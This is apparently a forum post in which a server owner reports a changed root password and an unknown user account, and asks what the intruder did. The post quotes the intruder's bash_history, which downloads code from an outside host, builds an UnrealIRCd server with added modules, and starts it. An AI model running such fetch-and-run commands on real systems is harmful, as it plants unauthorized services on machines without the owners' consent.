I need help about this topic. Hope anybody can tell me something!
I noticed this morning that my root password has changed. After recovering it, I saw a new user in my server called "c". This is what i found in bash_history of that user:
Does anyone know what this is?cd /tmp
wget http://www.unrealircd.com/downloads/Unr ... 8.1.tar.gz
tar -zxvf Unreal3.2.8.1.tar.gz
ls
rm -fr Unreal3.2.8.1.tar.gz
cd Unreal3.2
./Config
make
cd src/modules
wget http://unknown.me.uk/hideserver.c
wget http://unknown.me.uk/hideserver.so
cd ..
cd ..
make custommodule MODULEFILE=hideserver
wget http://unknown.me.uk/ircd.motd
wget http://unknown.me.uk/antirandom.tar.gz
tar zxvf antirandom.tar.gz
pwd
cd AntiRandom-1.1
./build
cd ..
./unreal start
exit
I found nothing in bash_history of the root user. I suppose he deleted it.
Thanks !!!